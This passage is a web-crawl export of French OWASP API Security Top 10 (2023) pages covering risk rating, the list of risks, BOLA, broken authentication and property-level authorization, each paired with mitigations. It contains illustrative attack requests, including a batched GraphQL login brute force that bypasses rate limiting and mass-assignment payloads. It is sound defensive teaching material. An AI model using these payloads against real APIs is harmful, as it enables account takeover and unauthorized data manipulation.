Security Top 10 est un effort nécessaire pour sensibiliser aux problèmes de sécurité des API modernes.\n\nCette mise à jour n'a été possible que grâce à l'énorme effort de plusieurs bénévoles, listés dans la [section Remerciements](../0xd1-acknowledgments/).\n\nMerci!", "znaku_textu": 2790, "slov": 440, "odkazu": 57, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:57:43", "sha256": "10059ccebe7beb6413af2076a940c385eccbbd57fa9b9852b5606ab97e011379", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0x10-api-security-risks/", "titulek": "Risques de sécurité des API - OWASP API Security Top 10", "h1": "Risques de sécurité des API", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0x10-api-security-risks/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Risques de sécurité des API"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externes"}], "markdown": "# Risques de sécurité des API\n\nLa [méthodologie d'évaluation des risques de l'OWASP](https://owasp.org/www-project-risk-assessment-framework/) a été utilisée pour effectuer l'analyse des risques.\n\nLa table ci-dessous résume la terminologie associée au \"score\" de risque.\n\n| Facteur de menace | Exploitabilité | Prévalence de la faiblesse | Détectabilité de la faiblesse | Impact technique | Impacts organisationnel |\n| --- | --- | --- | --- | --- | --- |\n| Spécifique à l'API | Facile: **3** | Répandue **3** | Facile **3** | Sévère **3** | Spécifique à l'organisation |\n| Spécifique à l'API | Moyenne: **2** | Commune **2** | Moyenne **2** | Modéré **2** | Spécifique à l'organisation |\n| Spécifique à l'API | Difficile: **1** | Difficile **1** | Difficile **1** | Mineur **1** | Spécifique à l'organisation |\n\n**Note**: Cette approche ne prend pas en compte la probabilité de la menace. Elle ne tient pas non plus compte des divers détails techniques spécifiques à votre application. L'un de ces facteurs pourrait affecter significativement la probabilité globale qu'un attaquant trouve et exploite une vulnérabilité particulière. Cette notation ne prend pas en compte l'impact réel sur votre entreprise. Votre organisation devra décider du niveau de risque de sécurité des applications et des API que l'organisation est prête à accepter compte tenu de votre culture, de votre secteur et de votre environnement réglementaire. Le but du OWASP API Security Top 10 n'est pas de faire cette analyse de risque pour vous. Comme cette édition n'est pas basée sur des données, la prévalence résulte d'un consensus entre les membres de l'équipe.\n\n## Références\n\n### OWASP\n\n- [OWASP Risk Rating Methodology](https://owasp.org/www-project-risk-assessment-framework/)\n- [Article on Threat/Risk Modeling](https://owasp.org/www-community/Threat_Modeling)\n\n### Externes\n\n- [ISO 31000: Risk Management Std](https://www.iso.org/iso-31000-risk-management.html)\n- [ISO 27001: ISMS](https://www.iso.org/isoiec-27001-information-security.html)\n- [NIST Cyber Framework (US)](https://www.nist.gov/cyberframework)\n- [ASD Strategic Mitigations (AU)](https://www.asd.gov.au/infosec/mitigationstrategies.htm)\n- [NIST CVSS 3.0](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)\n- [Microsoft Threat Modeling Tool](https://www.microsoft.com/en-us/download/details.aspx?id=49168)", "znaku_textu": 2193, "slov": 272, "odkazu": 67, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:58:13", "sha256": "446d3638d1c610107e98f8a60a911708af18d9a8e581be1bfded2830e5b4278c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.iso.org/iso-31000-risk-management.html", "https://www.iso.org/isoiec-27001-information-security.html", "https://www.nist.gov/cyberframework", "https://www.asd.gov.au/infosec/mitigationstrategies.htm", "https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator", "https://www.microsoft.com/en-us/download/details.aspx?id=49168", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0x11-t10/", "titulek": "OWASP Top 10 API Security Risks – 2023 - OWASP API Security Top 10", "h1": "OWASP Top 10 API Security Risks – 2023", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0x11-t10/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10 API Security Risks – 2023"}], "markdown": "# OWASP Top 10 API Security Risks – 2023\n\n| Risque | Description |\n| --- | --- |\n| [API1:2023 - Broken Object Level Authorization](../0xa1-broken-object-level-authorization/) | Les API ont tendance à exposer des points d'accès (endpoints) qui manipulent des identifiants d'objets (OID), créant ainsi une large surface d'attaque sur les contrôles d'accès aux objets. Des contrôle d'autorisation doivent être effectuées dans chaque fonction qui accède à une source de données en utilisant un ID fourni par l'utilisateur. |\n| [API2:2023 - Broken Authentication](../0xa2-broken-authentication/) | Les mécanismes d'authentification sont souvent implémentés de manière incorrecte, permettant aux attaquants de compromettre les jetons (token) d'authentification ou d'exploiter des failles d'implémentation afin d'usurper temporairement ou définitivement l'identité d'autres utilisateurs. L'incapacité d'un système à identifier le client/l'utilisateur compromet la sécurité de l'API dans son ensemble. |\n| [API3:2023 - Broken Object Property Level Authorization](../0xa3-broken-object-property-level-authorization/) | Cette catégorie combine les anciennes catégories [API3:2019 Excessive Data Exposure](https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/) et [API6:2019 - Mass Assignment](https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/), en se concentrant sur la cause commune : le manque de validation ou une validation incorrecte dans le processus d'autorisation au niveau des propriétés de l'objet. Cela conduit à une exposition ou une manipulation d'informations par des parties non autorisées. |\n| [API4:2023 - Unrestricted Resource Consumption](../0xa4-unrestricted-resource-consumption/) | Satisfaire les requêtes API nécessite des ressources telles que la bande passante réseau, le CPU, la mémoire et le stockage. D'autres ressources telles que les e-mails/SMS/appels téléphoniques ou la validation biométrique sont mises à disposition par les fournisseurs de services via des intégrations API, moyennant un paiement par requête effectuée. Des attaques réussies peuvent entraîner un déni de service ou une augmentation des coûts opérationnels. |\n| [API5:2023 - Broken Function Level Authorization](../0xa5-broken-function-level-authorization/) | Les politiques de contrôle d'accès complexes avec différentes hiérarchies, groupes et rôles, et une séparation floue entre les fonctions normales et d'administration, tendent à entraîner des failles d'autorisation. En exploitant ces problèmes, les attaquants peuvent accéder aux ressources d'autres utilisateurs et/ou aux fonctions d'administration. |\n| [API6:2023 - Unrestricted Access to Sensitive Business Flows](../0xa6-unrestricted-access-to-sensitive-business-flows/) | Les API vulnérables à ce risque exposent un flux métier - tel que l'achat d'un billet ou la publication d'un commentaire - sans compenser l'impact potentiellement néfaste pour l'entreprise si la fonctionnalité est utilisée de manière excessive et automatisée. Cela ne provient pas nécessairement de bugs d'implémentation. |\n| [API7:2023 - Server Side Request Forgery](../0xa7-server-side-request-forgery/) | Les failles de type SSRF (Server-Side Request Forgery) peuvent survenir lorsqu'une API récupère une ressource distante sans valider l'URI fourni par l'utilisateur. Cela permet à un attaquant de forcer l'application à envoyer une requête forgée vers une destination inattendue, même si elle est protégée par un pare-feu ou un VPN. |\n| [API8:2023 - Security Misconfiguration](../0xa8-security-misconfiguration/) | Les API et les systèmes qui les supportent contiennent généralement des configurations complexes, destinées à rendre les API plus personnalisables. Les ingénieurs logiciels et DevOps peuvent passer à côté de ces configurations, ou ne pas suivre les meilleures pratiques de sécurité en matière de configuration, ouvrant la porte à différents types d'attaques. |\n| [API9:2023 - Improper Inventory Management](../0xa9-improper-inventory-management/) | Les API ont tendance à exposer plus de points d'accès que les applications web traditionnelles, ce qui rend une documentation propre et à jour très importante. Un inventaire correct des hôtes et des versions d'API déployées est également important pour atténuer les problèmes tels que les versions d'API obsolètes et les points d'accès de débuggage exposés. |\n| [API10:2023 - Unsafe Consumption of APIs](../0xaa-unsafe-consumption-of-apis/) | Les développeurs ont tendance à faire plus confiance aux données reçues des API tierces qu'aux entrées des utilisateurs, et adoptent donc souvent des normes de sécurité plus faibles. Afin de compromettre les API, les attaquants s'attaquent aux services tiers intégrés plutôt que de tenter de compromettre directement l'API cible. |", "znaku_textu": 4728, "slov": 616, "odkazu": 58, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:58:31", "sha256": "5cfe081b474daa7dbb5f3a74aa8f1f2dd3f0aba2700218ee116971bf816c8675", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0xa1-broken-object-level-authorization/", "titulek": "API1:2023 Broken Object Level Authorization - OWASP API Security Top 10", "h1": "API1:2023 Broken Object Level Authorization", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0xa1-broken-object-level-authorization/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API1:2023 Broken Object Level Authorization"}, {"uroven": 2, "text": "L'API est-elle vulnérable ?"}, {"uroven": 2, "text": "Exemple de scénarios d'attaque"}, {"uroven": 3, "text": "Scénario #1"}, {"uroven": 3, "text": "Scénario #2"}, {"uroven": 3, "text": "Scénario #3"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externes"}], "markdown": "# API1:2023 Broken Object Level Authorization\n\n| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact |\n| --- | --- | --- |\n| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Répandue** : Détection **Facile** | Technique **Modérée** : Spécifique à l'organisation |\n| Les attaquants peuvent exploiter les points d'accès (endpoints) de l'API qui sont vulnérables au \"Broken Object Level Authorization\" en manipulant l'ID de l'objet envoyé dans la requête. Les ID d'objet peuvent être des entiers, des UUID (identifiants uniques universels) ou des chaînes de caractères. Quel que soit le type de données, ils sont faciles à identifier dans la requête (dans le chemin ou dans les paramètres), son en-tête (header) ou même dans sa payload. | Ce problème est extrêmement courant dans les applications basées sur des API car le composant serveur ne suit généralement pas pleinement l'état du client, et se repose plutôt sur des paramètres comme les ID d'objet, qui sont envoyés par le client pour décider à quels objets accéder. La réponse du serveur est généralement suffisante pour comprendre si la requête a réussi. | L'accès non autorisé aux objets d'autres utilisateurs peut entraîner la divulgation de données à des parties non autorisées, la perte de données ou la manipulation de données. Dans certaines circonstances, l'accès non autorisé aux objets peut également entraîner une prise de contrôle complète du compte. |\n\n## L'API est-elle vulnérable ?\n\nL'autorisation au niveau des objets est un mécanisme de contrôle d'accès qui est généralement implémenté au niveau du code pour valider qu'un utilisateur ne peut accéder qu'aux objets auxquels il devrait avoir accès.\n\nChaque point d'accès (endpoint) de l'API qui reçoit un ID d'un objet et effectue une action sur l'objet devrait implémenter des vérifications d'autorisation au niveau de l'objet. Les vérifications devraient valider que l'utilisateur connecté a les autorisations pour effectuer l'action demandée sur l'objet demandé.\n\nLes échecs de ce mécanisme conduisent généralement à la divulgation non autorisée d'informations, à la modification ou à la destruction de toutes les données.\n\nComparer l'ID de l'utilisateur de la session actuelle (par exemple, en l'extrayant du jeton JWT) avec le paramètre ID vulnérable n'est pas une solution suffisante pour résoudre le Broken Object Level Authorization (BOLA). Cette approche ne pourrait résoudre qu'un petit sous-ensemble de cas.\n\nDans ce cas du BOLA, c'est par conception que l'utilisateur aura accès au point d'accès (endpoint) ou à la fonction vulnérable. La violation se produit au niveau de l'objet, en manipulant l'ID. Si un attaquant parvient à accéder à un point d'accès (endpoint) ou à une fonction API à laquelle il ne devrait pas avoir accès, il s'agit d'un cas de [Broken Function Level Authorization](../0xa5-broken-function-level-authorization/) (BFLA) plutôt que d'un BOLA.\n\n## Exemple de scénarios d'attaque\n\n### Scénario #1\n\nUne plateforme de e-commerce pour des magasins en ligne fournit une page avec les graphiques des revenus que le magasin a généré. En inspectant les requêtes du navigateur, un attaquant peut identifier les points d'accès de l'API utilisés comme source de données pour ces graphiques et leur modèle : `/shops/{shopName}/revenue_data.json`. En utilisant un autre point d'accès de l'API, l'attaquant peut obtenir la liste de tous les noms de magasins hébergés. Avec un simple script pour manipuler les noms de la liste, en remplaçant `{shopName}` dans l'URL, l'attaquant obtient accès aux données de vente de milliers de magasins de e-commerce.\n\n### Scénario #2\n\nUn fabricant automobile a permis le contrôle à distance de ses véhicules via une API mobile pour communiquer avec le téléphone mobile du conducteur. L'API permet au conducteur de démarrer et d'arrêter le moteur et de verrouiller et déverrouiller les portes à distance. Dans ce flux, l'utilisateur envoie le numéro d'identification du véhicule (VIN) à l'API. L'API ne valide pas que le VIN représente un véhicule appartenant à l'utilisateur connecté, ce qui conduit à une vulnérabilité de BOLA. Un attaquant peut accéder à des véhicules qui ne lui appartiennent pas.\n\n### Scénario #3\n\nUn service de stockage de documents en ligne permet aux utilisateurs de visualiser, d'éditer, de stocker et de supprimer leurs documents. Lorsqu'un document d'un utilisateur est supprimé, une mutation GraphQL avec l'ID du document est envoyée à l'API.\n\n```\nPOST /graphql\n{\n \"operationName\":\"deleteReports\",\n \"variables\":{\n \"reportKeys\":[\"\"]\n },\n \"query\":\"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) {\n {\n deleteReports(reportKeys: $reportKeys)\n }\n }\"\n}\n```\n\nL'API ne vérifie pas si l'utilisateur connecté a les autorisations pour supprimer le document avec l'ID fourni. Un attaquant peut supprimer les documents d'autres utilisateurs en remplaçant l'ID du document dans la requête.\n\n- Implémentez un mécanisme d'autorisation approprié qui repose sur les politiques et la hiérarchie des utilisateurs.\n- Utilisez le mécanisme d'autorisation pour vérifier si l'utilisateur connecté peut effectuer l'action demandée sur l'objet dans chaque fonction qui utilise une entrée du client pour accéder à la base de données.\n- Préférez l'utilisation de valeurs GUID aléatoires et imprévisibles pour les ID.\n- Écrivez des tests pour évaluer la vulnérabilité du mécanisme d'autorisation. Ne déployez pas de modifications qui feraient échouer les tests.\n\n## Références\n\n### OWASP\n\n- [Authorization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)\n- [Authorization Testing Automation Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html)\n\n### Externes\n\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)", "znaku_textu": 5873, "slov": 830, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:58:41", "sha256": "24b999b084b8b3ae03d241fe8ccc4ff61edc5899cb77919bab59a878e8f7a16e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/639.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0xa2-broken-authentication/", "titulek": "API2:2023 Broken Authentication - OWASP API Security Top 10", "h1": "API2:2023 Broken Authentication", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0xa2-broken-authentication/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API2:2023 Broken Authentication"}, {"uroven": 2, "text": "L'API est-elle vulnérable ?"}, {"uroven": 2, "text": "Exemple de scénarios d'attaque"}, {"uroven": 2, "text": "Scénario #1"}, {"uroven": 2, "text": "Scénario #2"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externes"}], "markdown": "# API2:2023 Broken Authentication\n\n| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact |\n| --- | --- | --- |\n| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Répandue** : Détectabilité **Facile** | Technique **Grave** : Spécifique à l'organisation |\n| Le mécanisme d'authentification est une cible facile pour les attaquants car il est exposé à tout le monde. Bien que des compétences techniques plus avancées puissent être nécessaires pour exploiter certaines failles d'authentification, des outils d'exploitation sont généralement disponibles. | Les erreurs de conception commises par les ingénieurs logiciels et en sécurité ou la complexité d'implémentation rendent les problèmes courants pour l'authentification des utilisateurs. Les méthodologies de détection des problèmes d'authentification sont disponibles et faciles à créer. | Les attaquants peuvent prendre le contrôle complet des comptes d'autres utilisateurs du système, lire leurs données personnelles et effectuer des actions sensibles en leur nom. Les systèmes sont peu susceptibles de pouvoir distinguer les actions des attaquants de celles des utilisateurs légitimes. |\n\n## L'API est-elle vulnérable ?\n\nLes points d'accès (endpoints) et les flux d'authentification sont des actifs qui doivent être protégés. De plus, les mécanismes de \"Mot de passe oublié / réinitialisation du mot de passe\" doivent être traités de la même manière que les mécanismes d'authentification.\n\nUne API est vulnérable si elle :\n\n- Permet le bourrage d'informations d'identification, où l'attaquant utilise la force brute avec une liste de noms d'utilisateur et de mots de passe valides.\n- Permet aux attaquants d'effectuer une attaque par force brute sur le même compte utilisateur, sans présenter de mécanisme de captcha/blocage de compte.\n- Permet des mots de passe faibles.\n- Envoie des détails d'authentification sensibles, tels que des jetons d'authentification et des mots de passe dans l'URL.\n- Permet aux utilisateurs de modifier leur adresse e-mail, leur mot de passe actuel ou de réaliser d'autres opérations sensibles sans demander de confirmation de mot de passe.\n- Ne valide pas l'authenticité des jetons.\n- Accepte des jetons JWT non signés/faiblement signés ( `{\"alg\":\"none\"}` )\n- Ne valide pas la date d'expiration du JWT.\n- Utilise des mots de passe en clair, non chiffrés ou faiblement hachés.\n- Utilise des clés de chiffrement faibles.\n\nDe plus, un microservice est vulnérable si :\n\n- D'autres microservices peuvent y accéder sans authentification.\n- Il utilise des jetons faibles ou prévisibles pour appliquer l'authentification.\n\n## Exemple de scénarios d'attaque\n\n## Scénario #1\n\nPour effectuer une authentification utilisateur, le client doit envoyer une requête API comme celle-ci avec les informations d'identification de l'utilisateur :\n\n```\nPOST /graphql\n{\n \"query\":\"mutation {\n login (username:\\\"\\\",password:\\\"\\\") {\n token\n }\n }\"\n}\n```\n\nSi les informations d'identification sont valides, un jeton d'authentification est renvoyé. Ce jeton doit être fourni dans les requêtes suivantes pour identifier l'utilisateur. Les tentatives de connexion sont soumises à une limitation de \"rate limite\": seules trois requêtes sont autorisées par minute.\n\nPour effectuer une connexion par force brute avec le compte d'une victime, les attaquants utilisent le regroupement de requêtes GraphQL pour contourner la limitation du taux de requêtes, accélérant ainsi l'attaque :\n\n```\nPOST /graphql\n[\n {\"query\":\"mutation{login(username:\\\"victim\\\",password:\\\"password\\\"){token}}\"},\n {\"query\":\"mutation{login(username:\\\"victim\\\",password:\\\"123456\\\"){token}}\"},\n {\"query\":\"mutation{login(username:\\\"victim\\\",password:\\\"qwerty\\\"){token}}\"},\n ...\n {\"query\":\"mutation{login(username:\\\"victim\\\",password:\\\"123\\\"){token}}\"},\n]\n```\n\n## Scénario #2\n\nPour mettre à jour l'adresse e-mail associée au compte d'un utilisateur, les clients doivent envoyer une requête API comme celle-ci :\n\n```\nPUT /account\nAuthorization: Bearer \n\n{ \"email\": \"\" }\n```\n\nComme l'API ne demande pas aux utilisateurs de confirmer leur identité en fournissant leur mot de passe actuel, les attanquants qui sont capables de voler le jeton d'authentification pourraient être en mesure de prendre le contrôle du compte de la victime en demandant la réinitialisation du mot de passe après avoir mis à jour l'adresse e-mail du compte de la victime.\n\n- Assurez-vous de connaître tous les flux possibles pour s'authentifier à l'API (mobile/web/liens profonds qui implémentent l'authentification en un clic/etc.). Demandez à vos ingénieurs quels flux vous avez manqués.\n- Documentez-vous sur vos mécanismes d'authentification. Assurez-vous de comprendre ce qu'ils sont et comment ils sont utilisés. OAuth n'est pas une authentification, pas plus que les clés API.\n- Ne réinventez pas la roue en matière d'authentification, de génération de jetons ou de stockage de mots de passe. Utilisez les standards.\n- Les points d'accès de récupération des informations d'identification/mot de passe oublié doivent être traités comme des points d'accès de connexion. Ils doivent être protégés contre les attaques par la force brute : par le blocage de comptes ou la mise en place de \"rate limiting\" contraignant.\n- Exigez une ré-authentification pour les opérations sensibles (par exemple, changer l'adresse e-mail du propriétaire du compte/le numéro de téléphone 2FA).\n- Utilisez le [Cheat Sheet d'authentification OWASP](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) .\n- Là où c'est possible, mettez en œuvre l'authentification multi-facteurs.\n- Mettez en œuvre des mécanismes anti-brute force pour atténuer le bourrage d'informations d'identification, les attaques par dictionnaire et les attaques par force brute sur vos points d'accès d'authentification. Ce mécanisme doit être plus strict que les mécanismes de \"rate limiting\" réguliers sur vos API.\n- Mettez en œuvre des mécanismes de [blocage de compte](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003)) /captcha pour prévenir les attaques par force brute contre des utilisateurs spécifiques. Mettez en œuvre des vérifications de mots de passe faibles.\n- Les clés API ne doivent pas être utilisées pour l'authentification des utilisateurs. Elles ne doivent être utilisées que pour l' [authentification des clients API](https://cloud.google.com/endpoints/docs/openapi/when-why-api-key) .\n\n## Références\n\n### OWASP\n\n- [Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [Key Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html)\n- [Credential Stuffing](https://owasp.org/www-community/attacks/Credential_stuffing)\n\n### Externes\n\n- [CWE-204: Observable Response Discrepancy](https://cwe.mitre.org/data/definitions/204.html)\n- [CWE-307: Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)", "znaku_textu": 7008, "slov": 891, "odkazu": 71, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:46:58", "sha256": "d7b56eb8e438c0fd6f5e3fbe25ebbb1e3ea95ca9cfeb29b4ca6e8a50dc998fb1", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://cloud.google.com/endpoints/docs/openapi/when-why-api-key", "https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/204.html", "https://cwe.mitre.org/data/definitions/307.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0xa3-broken-object-property-level-authorization/", "titulek": "API3:2023 Broken Object Property Level Authorization - OWASP API Security Top 10", "h1": "API3:2023 Broken Object Property Level Authorization", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0xa3-broken-object-property-level-authorization/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API3:2023 Broken Object Property Level Authorization"}, {"uroven": 2, "text": "L'API est-elle vulnérable ?"}, {"uroven": 2, "text": "Exemple de scénarios d'attaque"}, {"uroven": 3, "text": "Scénario #1"}, {"uroven": 3, "text": "Scénario #2"}, {"uroven": 3, "text": "Scénario #3"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externes"}], "markdown": "# API3:2023 Broken Object Property Level Authorization\n\n| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact |\n| --- | --- | --- |\n| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Courante** : Détectabilité **Facile** | Technique **Modérée** : Spécifique à l'organisation |\n| Les API ont tendance à exposer des points d'accès qui retournent toutes les propriétés d'un objet. Cela est particulièrement vrai pour les API REST. Pour d'autres protocoles tels que GraphQL, il peut être nécessaire de formuler des requêtes spécifiques pour annoncer quelles propriétés doivent être retournées. Identifier ces propriétés supplémentaires qui peuvent être manipulées demande plus d'efforts, mais il existe quelques outils automatisés disponibles pour aider dans cette tâche. | L'inspection des réponses API suffit pour identifier les informations sensibles dans les représentations des objets retournés. Le fuzzing est généralement utilisé pour identifier des propriétés supplémentaires (cachées). L'écriture d'une requête API spécifique et l'analyse de sa réponse peut permettre de savoir si ces propriétés peuvent être modifiées. Une analyse des effets secondaires peut être nécessaire si la propriété cible n'est pas retournée dans la réponse API. | Un accès non autorisé aux propriétés d'objet privées/sensibles peut entraîner une divulgation de données, une perte de données ou une corruption de données. Dans certaines circonstances, un accès non autorisé aux propriétés d'objet peut entraîner une élévation de privilèges ou une prise de contrôle partielle/totale du compte. |\n\n## L'API est-elle vulnérable ?\n\nLorsqu'un utilisateur est autorisé à accéder à un objet en utilisant un point d'accès API, il est important de valider que l'utilisateur à le droit d'accéder aux propriétés spécifiques de l'objet.\n\nUn point d'accès API est vulnérable si :\n\n- Le point d'accès API expose des propriétés d'un objet qui sont considérées comme sensibles et qui ne devraient pas être lues par l'utilisateur. (précédemment nommé : \" [Excessive Data Exposure](https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/) \")\n- Le point d'accès API permet à un utilisateur de modifier, d'ajouter ou de supprimer la valeur d'une propriété sensible de l'objet à laquelle l'utilisateur ne devrait pas avoir accès (précédemment nommé : \" [Mass Assignment](https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/) \")\n\n## Exemple de scénarios d'attaque\n\n### Scénario #1\n\nUne application de rencontres permet à un utilisateur de signaler d'autres utilisateurs pour un comportement inapproprié.\nDans le cadre de ce processus, l'utilisateur clique sur un bouton \"signaler\", et l'appel API suivant est déclenché :\n\n```\nPOST /graphql\n{\n \"operationName\":\"reportUser\",\n \"variables\":{\n \"userId\": 313,\n \"reason\":[\"offensive behavior\"]\n },\n \"query\":\"mutation reportUser($userId: ID!, $reason: String!) {\n reportUser(userId: $userId, reason: $reason) {\n status\n message\n reportedUser {\n id\n fullName\n recentLocation\n }\n }\n }\"\n}\n```\n\nLe point d'accès API est vulnérable car il permet à l'utilisateur authentifié d'accéder à des propriétés sensibles de l'objet utilisateur, telles que \"fullName\" et \"recentLocation\", qui ne sont pas censées être accessibles par d'autres utilisateurs.\n\n### Scénario #2\n\nUne plateforme de location en ligne, qui propose à un type d'utilisateurs (\"hôtes\") de louer leur appartement à un autre type d'utilisateurs (\"invités\"), exige que l'hôte accepte une réservation faite par un invité, avant de facturer l'invité pour le séjour.\n\nDans le cadre de ce processus, un appel API est envoyé par l'hôte à `POST /api/host/approve_booking` avec la payload suivante :\n\n```\n{\n \"approved\": true,\n \"comment\": \"Check-in is after 3pm\"\n}\n```\n\nL'hôte rejoue la requête légitime, et ajoute la payload malveillante suivante :\n\n```\n{\n \"approved\": true,\n \"comment\": \"Check-in is after 3pm\",\n \"total_stay_price\": \"$1,000,000\"\n}\n```\n\nLe point d'accès API est vulnérable car il n'y a pas de validation des droits d'accès de l'hôte à la propriété d'objet - `total_stay_price`, et l'invité sera facturé plus qu'il ne le devrait.\n\n### Scénario #3\n\nUn réseau social basé sur de courtes vidéos, applique un filtrage de contenu restrictif et une censure. Même si une vidéo téléchargée est bloquée, l'utilisateur peut modifier la description de la vidéo en utilisant la requête API suivante :\n\n```\nPUT /api/video/update_video\n\n{\n \"description\": \"a funny video about cats\"\n}\n```\n\nUn utilisateur frustré peut rejouer la requête légitime, et ajouter la payload malveillante suivante :\n\n```\n{\n \"description\": \"a funny video about cats\",\n \"blocked\": false\n}\n```\n\nLe point d'accès API est vulnérable car il n'y a pas de validation si l'utilisateur devrait avoir accès à la propriété d'objet - `blocked`, et l'utilisateur peut changer la valeur de `true` à `false` et débloquer son propre contenu bloqué.\n\n- Lors de l'exposition d'un objet à l'aide d'un point d'accès API, assurez-vous toujours que l'utilisateur a accès aux propriétés de l'objet que vous exposez.\n- Évitez d'utiliser des méthodes génériques telles que `to_json()` et `to_string()` . Au lieu de cela, choisissez spécifiquement les propriétés de l'objet que vous souhaitez retourner.\n- Si possible, évitez d'utiliser des fonctions qui lient automatiquement l'entrée du client à des variables dans du code, des objets internes ou des propriétés d'objet (\"Mass Assignment\").\n- Autorisez uniquement les modifications des propriétés de l'objet qui peuvent être mises à jour par le client.\n- Mettez en œuvre un mécanisme de validation des réponses basé sur un schéma en tant que couche de sécurité supplémentaire. Dans le cadre de ce mécanisme, définissez et appliquez les données retournées par toutes les méthodes API.\n- Gardez les structures de données retournées au strict minimum, conformément aux exigences commerciales/fonctionnelles pour le point d'accès.\n\n## Références\n\n### OWASP\n\n- [API3:2019 Excessive Data Exposure - OWASP API Security Top 10 2019](https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/)\n- [API6:2019 - Mass Assignment - 